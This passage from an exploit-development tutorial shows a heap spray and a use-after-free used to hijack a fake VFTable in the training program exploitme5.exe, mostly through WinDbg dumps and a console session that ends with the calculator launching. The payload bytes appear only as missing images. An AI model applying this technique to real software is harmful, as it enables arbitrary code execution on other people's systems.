Virtual block: 0bc70000 - 0bc70000 (size 00000000)
Virtual block: 0bd70000 - 0bd70000 (size 00000000)
Virtual block: 0be70000 - 0be70000 (size 00000000)
Virtual block: 0bf70000 - 0bf70000 (size 00000000)
Virtual block: 0c070000 - 0c070000 (size 00000000)
Virtual block: 0c170000 - 0c170000 (size 00000000)
Virtual block: 0c270000 - 0c270000 (size 00000000)
Virtual block: 0c370000 - 0c370000 (size 00000000)
Virtual block: 0c470000 - 0c470000 (size 00000000)
Virtual block: 0c570000 - 0c570000 (size 00000000)
Virtual block: 0c670000 - 0c670000 (size 00000000)
Virtual block: 0c770000 - 0c770000 (size 00000000)
Virtual block: 0c870000 - 0c870000 (size 00000000)
Virtual block: 0c970000 - 0c970000 (size 00000000)
Virtual block: 0ca70000 - 0ca70000 (size 00000000)
Virtual block: 0cb70000 - 0cb70000 (size 00000000)
Virtual block: 0cc70000 - 0cc70000 (size 00000000)
Virtual block: 0cd70000 - 0cd70000 (size 00000000)
Virtual block: 0ce70000 - 0ce70000 (size 00000000)
Virtual block: 0cf70000 - 0cf70000 (size 00000000)
Virtual block: 0d070000 - 0d070000 (size 00000000)
Virtual block: 0d170000 - 0d170000 (size 00000000)
Virtual block: 0d270000 - 0d270000 (size 00000000)
Virtual block: 0d370000 - 0d370000 (size 00000000)
Virtual block: 0d470000 - 0d470000 (size 00000000)
Virtual block: 0d570000 - 0d570000 (size 00000000)
Virtual block: 0d670000 - 0d670000 (size 00000000)
Virtual block: 0d770000 - 0d770000 (size 00000000)
Virtual block: 0d870000 - 0d870000 (size 00000000)
Virtual block: 0d970000 - 0d970000 (size 00000000)
Virtual block: 0da70000 - 0da70000 (size 00000000)
Virtual block: 0db70000 - 0db70000 (size 00000000)
Virtual block: 0dc70000 - 0dc70000 (size 00000000)
Virtual block: 0dd70000 - 0dd70000 (size 00000000)
Virtual block: 0de70000 - 0de70000 (size 00000000)
Virtual block: 0df70000 - 0df70000 (size 00000000)
Virtual block: 0e070000 - 0e070000 (size 00000000)
Virtual block: 0e170000 - 0e170000 (size 00000000)
Virtual block: 0e270000 - 0e270000 (size 00000000)
Virtual block: 0e370000 - 0e370000 (size 00000000)
Virtual block: 0e470000 - 0e470000 (size 00000000)
Virtual block: 0e570000 - 0e570000 (size 00000000)
Virtual block: 0e670000 - 0e670000 (size 00000000)
Virtual block: 0e770000 - 0e770000 (size 00000000)
Virtual block: 0e870000 - 0e870000 (size 00000000)
Virtual block: 0e970000 - 0e970000 (size 00000000)
002d0000 40000062    1024    188   1024     93     9     1  201      0      
00190000 40001062      64     12     64      2     2     1    0      0      
01d50000 40001062    1088    160   1088     68     5     2    0      0      
01d00000 40001062     256      4    256      2     1     1    0      0      
-----------------------------------------------------------------------------

This time the addresses are different. Let’s compare the last four:

Virtual block: 0e730000 - 0e730000 (size 00000000)
Virtual block: 0e830000 - 0e830000 (size 00000000)
Virtual block: 0e930000 - 0e930000 (size 00000000)
Virtual block: 0ea30000 - 0ea30000 (size 00000000)
--------------
Virtual block: 0e670000 - 0e670000 (size 00000000)
Virtual block: 0e770000 - 0e770000 (size 00000000)
Virtual block: 0e870000 - 0e870000 (size 00000000)
Virtual block: 0e970000 - 0e970000 (size 00000000)

What we note, though, is that they are always aligned on 0x10000 boundaries. Now remember that we must add 0x20 to those addresses because of the header:

block 197: address = 0x0e670020; size = 1048528
block 198: address = 0x0e770020; size = 1048528
block 199: address = 0x0e870020; size = 1048528
block 200: address = 0x0e970020; size = 1048528

If we pad our payload so that its size is 0x10000 and we repeat it throughout our entire block of 1 MB (-0x30 bytes), then we will certainly find our payload at, for example, the address 0x0a000020. We chose the address 0x0a000020 because it’s in the middle of our heap spray so, even if the addresses vary a little bit, it will certainly contain our payload.

Let’s try to do just that:

Note that since the size of our block is 0x30 bytes shorter than 1 MB, the last copy of our payload needs to be truncated. This is not a problem, of course.

Now let’s restart exploitme5.exe in WinDbg, run it, read the block from file, make 200 copies of it, break the execution, and, finally, inspect the memory at 0x0a000020:

09ffffd0  62 62 62 62 62 62 62 62-62 62 62 62 62 62 62 62  bbbbbbbbbbbbbbbb
09ffffe0  62 62 62 62 62 62 62 62-62 62 62 62 62 62 62 62  bbbbbbbbbbbbbbbb
09fffff0  62 62 62 62 62 62 62 62-62 62 62 62 62 62 62 62  bbbbbbbbbbbbbbbb
0a000000  62 62 62 62 62 62 62 62-62 62 62 62 62 62 62 62  bbbbbbbbbbbbbbbb
0a000010  62 62 62 62 62 62 62 62-62 62 62 62 62 62 62 62  bbbbbbbbbbbbbbbb
0a000020  61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61  aaaaaaaaaaaaaaaa   <================ start
0a000030  61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61  aaaaaaaaaaaaaaaa
0a000040  61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61  aaaaaaaaaaaaaaaa
0a000050  61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61  aaaaaaaaaaaaaaaa
0a000060  61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61  aaaaaaaaaaaaaaaa

As we can see, a copy of our payload starts exactly at 0xa000020, just as we expected. Now we must put it all together and finally exploit exploitme5.exe.

The actual exploitation

We saw that there is a UAF bug in configureMutator(). We can use this function to create a dangling pointer, mutators[0]. By reading a block of 168 bytes (the size of Multiplier) from file, we can make the dangling pointer point to data we control. In particular, the first DWORD of this data will contain the value 0x0a000020, which is the address where we’ll put the VFTable for taking control of the execution flow.

Let’s have a look at mutateBlock():

The interesting line is the following:

By choosing Multiplier, choice will be 1, so that line will evaluate to

The method mutate is the second virtual method in the VFTable of the Multiplier. Therefore, at the address 0x0a000020 we’ll put a VFTable with this form:

0x0a000020:    whatever
0x0a000024:   0x0a000028

When mutate is called, the execution will jump to the code at the address 0x0a000028, exactly where our shellcode will reside.

We know that we can spray the heap so that our payload lands at the address 0x0a000020. Here’s the payload we’ll be using:
pic_a8
Here’s the complete schema:
pic_a9
First let’s create d:\obj.dat:

Then let’s create d:\buf.dat:

Now we need to run exploitme5.exe (we don’t need WinDbg) and do the following:

1) Read block from file
2) List blocks
3) Duplicate Block
4) Configure mutator
5) Mutate block
6) Exit

Your choice [1-6]: 1

File path ('exit' to exit): d:\obj.dat

Block read (168 bytes)

1) Read block from file
2) List blocks
3) Duplicate Block
4) Configure mutator
5) Mutate block
6) Exit

Your choice [1-6]: 4

1) Multiplier (multiplier = 2)
2) LowerCaser
3) Exit

Your choice [1-3]: 1

mutators[0] = 0x003dc488        <====================
multiplier (int): asdf
1) Read block from file
2) List blocks
3) Duplicate Block
4) Configure mutator
5) Mutate block
6) Exit

Your choice [1-6]: 3

------- Blocks -------
block 0: address = 0x003dc538; size = 168
----------------------

Index of block to duplicate (-1 to exit): 0
Number of copies (-1 to exit): 1
1) Read block from file
2) List blocks
3) Duplicate Block
4) Configure mutator
5) Mutate block
6) Exit

Your choice [1-6]: 2

------- Blocks -------
block 0: address = 0x003dc538; size = 168
block 1: address = 0x003dc488; size = 168       <====================
----------------------

1) Read block from file
2) List blocks
3) Duplicate Block
4) Configure mutator
5) Mutate block
6) Exit

Your choice [1-6]: 1

File path ('exit' to exit): d:\buf.dat

Block read (1048528 bytes)     <==================== 1 MB

1) Read block from file
2) List blocks
3) Duplicate Block
4) Configure mutator
5) Mutate block
6) Exit

Your choice [1-6]: 3

------- Blocks -------
block 0: address = 0x003dc538; size = 168
block 1: address = 0x003dc488; size = 168
block 2: address = 0x00c60020; size = 1048528
----------------------

Index of block to duplicate (-1 to exit): 2
Number of copies (-1 to exit): 200     <==================== 200 x 1 MB = 200 MB
1) Read block from file
2) List blocks
3) Duplicate Block
4) Configure mutator
5) Mutate block
6) Exit

Your choice [1-6]: 5

------- Blocks -------
block 0: address = 0x003dc538; size = 168
block 1: address = 0x003dc488; size = 168
block 2: address = 0x00c60020; size = 1048528
block 3: address = 0x00e60020; size = 1048528
block 4: address = 0x00f60020; size = 1048528
block 5: address = 0x02480020; size = 1048528
block 6: address = 0x02580020; size = 1048528
block 7: address = 0x02680020; size = 1048528
block 8: address = 0x02780020; size = 1048528
block 9: address = 0x02880020; size = 1048528
block 10: address = 0x02980020; size = 1048528
block 11: address = 0x02a80020; size = 1048528
block 12: address = 0x02b80020; size = 1048528
block 13: address = 0x02c80020; size = 1048528
block 14: address = 0x02d80020; size = 1048528
block 15: address = 0x02e80020; size = 1048528
block 16: address = 0x02f80020; size = 1048528
block 17: address = 0x03080020; size = 1048528
block 18: address = 0x03180020; size = 1048528
block 19: address = 0x03280020; size = 1048528
block 20: address = 0x03380020; size = 1048528
block 21: address = 0x03480020; size = 1048528
block 22: address = 0x03580020; size = 1048528
block 23: address = 0x03680020; size = 1048528
block 24: address = 0x03780020; size = 1048528
block 25: address = 0x03880020; size = 1048528
block 26: address = 0x03980020; size = 1048528
block 27: address = 0x03a80020; size = 1048528
block 28: address = 0x03b80020; size = 1048528
block 29: address = 0x03c80020; size = 1048528
block 30: address = 0x03d80020; size = 1048528
block 31: address = 0x03e80020; size = 1048528
block 32: address = 0x03f80020; size = 1048528
block 33: address = 0x04080020; size = 1048528
block 34: address = 0x04180020; size = 1048528
block 35: address = 0x04280020; size = 1048528
block 36: address = 0x04380020; size = 1048528
block 37: address = 0x04480020; size = 1048528
block 38: address = 0x04580020; size = 1048528
block 39: address = 0x04680020; size = 1048528
block 40: address = 0x04780020; size = 1048528
block 41: address = 0x04880020; size = 1048528
block 42: address = 0x04980020; size = 1048528
block 43: address = 0x04a80020; size = 1048528
block 44: address = 0x04b80020; size = 1048528
block 45: address = 0x04c80020; size = 1048528
block 46: address = 0x04d80020; size = 1048528
block 47: address = 0x04e80020; size = 1048528
block 48: address = 0x04f80020; size = 1048528
block 49: address = 0x05080020; size = 1048528
block 50: address = 0x05180020; size = 1048528
block 51: address = 0x05280020; size = 1048528
block 52: address = 0x05380020; size = 1048528
block 53: address = 0x05480020; size = 1048528
block 54: address = 0x05580020; size = 1048528
block 55: address = 0x05680020; size = 1048528
block 56: address = 0x05780020; size = 1048528
block 57: address = 0x05880020; size = 1048528
block 58: address = 0x05980020; size = 1048528
block 59: address = 0x05a80020; size = 1048528
block 60: address = 0x05b80020; size = 1048528
block 61: address = 0x05c80020; size = 1048528
block 62: address = 0x05d80020; size = 1048528
block 63: address = 0x05e80020; size = 1048528
block 64: address = 0x05f80020; size = 1048528
block 65: address = 0x06080020; size = 1048528
block 66: address = 0x06180020; size = 1048528
block 67: address = 0x06280020; size = 1048528
block 68: address = 0x06380020; size = 1048528
block 69: address = 0x06480020; size = 1048528
block 70: address = 0x06580020; size = 1048528
block 71: address = 0x06680020; size = 1048528
block 72: address = 0x06780020; size = 1048528
block 73: address = 0x06880020; size = 1048528
block 74: address = 0x06980020; size = 1048528
block 75: address = 0x06a80020; size = 1048528
block 76: address = 0x06b80020; size = 1048528
block 77: address = 0x06c80020; size = 1048528
block 78: address = 0x06d80020; size = 1048528
block 79: address = 0x06e80020; size = 1048528
block 80: address = 0x06f80020; size = 1048528
block 81: address = 0x07080020; size = 1048528
block 82: address = 0x07180020; size = 1048528
block 83: address = 0x07280020; size = 1048528
block 84: address = 0x07380020; size = 1048528
block 85: address = 0x07480020; size = 1048528
block 86: address = 0x07580020; size = 1048528
block 87: address = 0x07680020; size = 1048528
block 88: address = 0x07780020; size = 1048528
block 89: address = 0x07880020; size = 1048528
block 90: address = 0x07980020; size = 1048528
block 91: address = 0x07a80020; size = 1048528
block 92: address = 0x07b80020; size = 1048528
block 93: address = 0x07c80020; size = 1048528
block 94: address = 0x07d80020; size = 1048528
block 95: address = 0x07e80020; size = 1048528
block 96: address = 0x07f80020; size = 1048528
block 97: address = 0x08080020; size = 1048528
block 98: address = 0x08180020; size = 1048528
block 99: address = 0x08280020; size = 1048528
block 100: address = 0x08380020; size = 1048528
block 101: address = 0x08480020; size = 1048528
block 102: address = 0x08580020; size = 1048528
block 103: address = 0x08680020; size = 1048528
block 104: address = 0x08780020; size = 1048528
block 105: address = 0x08880020; size = 1048528
block 106: address = 0x08980020; size = 1048528
block 107: address = 0x08a80020; size = 1048528
block 108: address = 0x08b80020; size = 1048528
block 109: address = 0x08c80020; size = 1048528
block 110: address = 0x08d80020; size = 1048528
block 111: address = 0x08e80020; size = 1048528
block 112: address = 0x08f80020; size = 1048528
block 113: address = 0x09080020; size = 1048528
block 114: address = 0x09180020; size = 1048528
block 115: address = 0x09280020; size = 1048528
block 116: address = 0x09380020; size = 1048528
block 117: address = 0x09480020; size = 1048528
block 118: address = 0x09580020; size = 1048528
block 119: address = 0x09680020; size = 1048528
block 120: address = 0x09780020; size = 1048528
block 121: address = 0x09880020; size = 1048528
block 122: address = 0x09980020; size = 1048528
block 123: address = 0x09a80020; size = 1048528
block 124: address = 0x09b80020; size = 1048528
block 125: address = 0x09c80020; size = 1048528
block 126: address = 0x09d80020; size = 1048528
block 127: address = 0x09e80020; size = 1048528
block 128: address = 0x09f80020; size = 1048528
block 129: address = 0x0a080020; size = 1048528
block 130: address = 0x0a180020; size = 1048528
block 131: address = 0x0a280020; size = 1048528
block 132: address = 0x0a380020; size = 1048528
block 133: address = 0x0a480020; size = 1048528
block 134: address = 0x0a580020; size = 1048528
block 135: address = 0x0a680020; size = 1048528
block 136: address = 0x0a780020; size = 1048528
block 137: address = 0x0a880020; size = 1048528
block 138: address = 0x0a980020; size = 1048528
block 139: address = 0x0aa80020; size = 1048528
block 140: address = 0x0ab80020; size = 1048528
block 141: address = 0x0ac80020; size = 1048528
block 142: address = 0x0ad80020; size = 1048528
block 143: address = 0x0ae80020; size = 1048528
block 144: address = 0x0af80020; size = 1048528
block 145: address = 0x0b080020; size = 1048528
block 146: address = 0x0b180020; size = 1048528
block 147: address = 0x0b280020; size = 1048528
block 148: address = 0x0b380020; size = 1048528
block 149: address = 0x0b480020; size = 1048528
block 150: address = 0x0b580020; size = 1048528
block 151: address = 0x0b680020; size = 1048528
block 152: address = 0x0b780020; size = 1048528
block 153: address = 0x0b880020; size = 1048528
block 154: address = 0x0b980020; size = 1048528
block 155: address = 0x0ba80020; size = 1048528
block 156: address = 0x0bb80020; size = 1048528
block 157: address = 0x0bc80020; size = 1048528
block 158: address = 0x0bd80020; size = 1048528
block 159: address = 0x0be80020; size = 1048528
block 160: address = 0x0bf80020; size = 1048528
block 161: address = 0x0c080020; size = 1048528
block 162: address = 0x0c180020; size = 1048528
block 163: address = 0x0c280020; size = 1048528
block 164: address = 0x0c380020; size = 1048528
block 165: address = 0x0c480020; size = 1048528
block 166: address = 0x0c580020; size = 1048528
block 167: address = 0x0c680020; size = 1048528
block 168: address = 0x0c780020; size = 1048528
block 169: address = 0x0c880020; size = 1048528
block 170: address = 0x0c980020; size = 1048528
block 171: address = 0x0ca80020; size = 1048528
block 172: address = 0x0cb80020; size = 1048528
block 173: address = 0x0cc80020; size = 1048528
block 174: address = 0x0cd80020; size = 1048528
block 175: address = 0x0ce80020; size = 1048528
block 176: address = 0x0cf80020; size = 1048528
block 177: address = 0x0d080020; size = 1048528
block 178: address = 0x0d180020; size = 1048528
block 179: address = 0x0d280020; size = 1048528
block 180: address = 0x0d380020; size = 1048528
block 181: address = 0x0d480020; size = 1048528
block 182: address = 0x0d580020; size = 1048528
block 183: address = 0x0d680020; size = 1048528
block 184: address = 0x0d780020; size = 1048528
block 185: address = 0x0d880020; size = 1048528
block 186: address = 0x0d980020; size = 1048528
block 187: address = 0x0da80020; size = 1048528
block 188: address = 0x0db80020; size = 1048528
block 189: address = 0x0dc80020; size = 1048528
block 190: address = 0x0dd80020; size = 1048528
block 191: address = 0x0de80020; size = 1048528
block 192: address = 0x0df80020; size = 1048528
block 193: address = 0x0e080020; size = 1048528
block 194: address = 0x0e180020; size = 1048528
block 195: address = 0x0e280020; size = 1048528
block 196: address = 0x0e380020; size = 1048528
block 197: address = 0x0e480020; size = 1048528
block 198: address = 0x0e580020; size = 1048528
block 199: address = 0x0e680020; size = 1048528
block 200: address = 0x0e780020; size = 1048528
block 201: address = 0x0e880020; size = 1048528
block 202: address = 0x0e980020; size = 1048528
----------------------

Index of block to mutate (-1 to exit): 0
1) Multiplier
2) LowerCaser
3) Exit
Your choice [1-3]: 1

As soon as we complete this sequence, the calculator pops up!

The following two tabs change content below.

Massimiliano Tomassoli

Computer scientist, software developer, reverse engineer and student of computer security (+ piano player & music composer)

Latest posts by Massimiliano Tomassoli (see all)

Leave a Reply

Be the First to Comment!

Notify of

wpDiscuz